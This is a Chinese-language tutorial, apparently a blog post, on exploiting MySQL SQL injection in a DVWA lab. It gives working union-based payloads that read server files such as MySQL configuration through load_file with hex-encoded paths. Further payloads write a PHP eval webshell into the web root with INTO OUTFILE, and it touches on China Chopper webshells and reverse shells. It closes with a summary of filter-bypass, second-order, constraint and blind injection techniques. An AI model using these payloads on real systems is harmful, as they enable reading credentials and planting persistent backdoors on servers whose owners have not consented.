安全数据库-文件查看,文件上传 加 注入总结
安全数据库的文件查看
前提条件:
1、mysql的目录是必须可以读写的 运维部署经常是开启目录的权限的。
2、需要mysql的root权限,并且要开启root的远程登录。 运维需要备份,所以也是满足的
3、开启mysql的配置文件 secure_file_priv 默认配置一般是没有的,需要进入配置文件,添加进去,然后重启mysql
windomysql.ini
[mysqld]
secure_file_priv=""
mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.05 sec)
# 重启mysql
获取物理机的实际目录
1、使用函数报错的方式,让mysql 暴露出安装的路径
2、使用系统扫描器和web扫描器,扫一些信息
3、利用搜索引擎 搜索一下 error信息
4、通过已知的软件默认安装位置。 windows linux 下的;
windows 系统安装目录 c: D: 搜狗输入法 谷歌火狐的游览器 文本编辑器 ,系统软件的目录
linux /tmp /usr 等等不经常使用的目录
' union select 1,load_file(C:\\123.txt)+--+
目标文件C:\\123.txt windows系统中特殊字符的原因,需要进行16进制的编码 ,后期所有携带特殊字符的都应该16进制编码
' union select 1,load_file(0x433A5C5C3132332E747874)+--+
其中的空格 逗号,等等被游览器自动编码了
http://10.0.0.154/dvwa/vulnerabilities/sqli/?id=1%27%20union%20select%201,load_file(0x433A5C5C3132332E747874)+--+&Submit=Submit#


load_file函数能够使用的话,那么软件配置文件和系统的文件基本都能读到
比如 数据的配置文件 ,windows密码文件 用户文件 等等
D:\phpStudy\PHPTutorial\MySQL\my-huge.ini
转化成16进制
0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69
' union select 1,load_file(0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69)+--+
正常的请求
http://10.0.0.154/dvwa/vulnerabilities/sqli/?id=1' union select 1,load_file(0x443A5C70687053747564795C5048505475746F7269616C5C4D7953514C5C6D792D687567652E696E69)+--+&Submit=Submit#
文件就被读到了

为什么要找网站的根路径
部署软件是一般不是进行编译安装的就是默认安装
为什么要找网站的根路径?
木马文件放上去,如何执行?
在web页面上去用网络路径去执行木马程序,就必须把文件上传到网站站点的目录下,要不然无法通过网络路径去执行!
所以必须要找网站的根路径
安全数据库的文件写入
mysql 使用into outfile 函数进行文件上传
前提条件:网站的根目录的路径和物理路径的对应关系
podpay:
1' union select "<?php @eval($_POSt["123"]);?>",2 into outfile "D:\\123.php"+--+
# 把双引号的字符串进行 16进制编码
1' union select 0x223C3F70687020406576616C28245F504F53745B22313233225D293B3F3E22,2 into outfile "D:\phpStudy\PHPTutorial\WWW\dvwa\123.php"+--+
#用特殊字符用转义符号单斜线变双斜线
目录地址 D:\phpStudy\PHPTutorial\WWW\dvwa\123.php D:\\phpStudy\\PHPTutorial\\WWW\dvwa\\123.php
注意D盘路径不能有空格,不能有中文字符
1' union select 0x223C3F70687020406576616C28245F504F53745B22313233225D293B3F3E22,2 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\124.php"+--+
**Warning**: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in **D:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php** on line **12**

菜刀一句话webshell

正常反弹shell 和 文件管理功能
SQL注入总结
SQL注入总结
1、没有对提交的数据进行校验 #(能返回数据)
注入:采用 多个判断条件进行数据反弹回来 (or and union order by,, 函数回显,limit 分页显示,group_concat 单行显示)
2、对提交的数据进行校验 select update drop insert where \. # $ #(能返回数据)
注入:对sql 的关键字进行修改大小写,重写,加尖括号,加内联注释,编码 16进制,堆叠注入,gbk编码变形
利用sql的抽取数据,不会判断数据库内容 这一策略做的
二次注入 注册账号为 admin’ 或者 root’ ,写入到session 。 在发起请求登录 变成 select * from users where username='admin' #' 形成注入
约束注入
利用sql语句会忽略空格,值为admin 1234
注册账号为 admin 123或者 root 123,根据字段的设置长度,返回给你 select * from users where username='admin' #' 形成注入
使用mysql的保留字一般不会被检测
join 替代 , 逗号
concat 替代 引号 ''
prepare创建sql execute 执行 ,执行多条sql,绕过检测
3、对提交的sql语句,执行后没有返回值 #(不能返回报错信息,或者第二段的sql)
注入: 记性盲注 使用布尔盲注,或者时间盲注,确认注入点。
然后使用asccii的表进行逆向解析反解 information_schame
4、mysql的函数使用
注入:set prepare execute updatexml upload_file 是mysql本身的函数,不会被校验。
预编译
mysql> set @yu=concat('se','lect ','user ','from ','mysql.user');prepare sb from @yu;execute sb;
Query OK, 0 rows affected (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Statement prepared
+------+
| user |
+------+
| root |
| root |
| root |
| root |
+------+
4 rows in set (0.02 sec)
浙公网安备 33010602011771号